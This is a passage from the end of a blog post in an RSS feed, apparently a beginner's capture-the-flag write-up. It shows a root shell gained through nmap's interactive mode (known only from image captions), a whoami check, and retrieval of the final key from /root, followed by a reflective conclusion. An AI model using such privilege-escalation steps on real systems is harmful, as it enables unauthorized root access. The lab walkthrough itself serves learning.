&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9dkd45r5d32mqldavyng.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9dkd45r5d32mqldavyng.png" alt="nmap interactive"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpcobxhrxxhuslyytdypy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpcobxhrxxhuslyytdypy.png" alt="sh"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run &lt;code&gt;whoami&lt;/code&gt; to confirm root privileges.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuvboinkigfvkle8twj1f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuvboinkigfvkle8twj1f.png" alt="whoami root"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Navigate to &lt;code&gt;/root&lt;/code&gt;, do a quick &lt;code&gt;ls&lt;/code&gt; and there is &lt;code&gt;key-3-of-3.txt&lt;/code&gt;, our final key! ✅&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn56nszn38fxrc0kjgdxd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn56nszn38fxrc0kjgdxd.png" alt="key-3-of-3"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Overall, this was a fun challenge for my first exercise in cybersecurity. I was focused on exploring different approaches to find each key, so I can be more aware of my toolkit and future methodology. It was definitely not quick to finish the CTF, but I learned a lot in doing so.&lt;/p&gt;

&lt;p&gt;Until the next time, happy hacking! ✌🏻&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>testing</category>
      <category>virtualmachine</category>
    </item>
  </channel>
</rss>
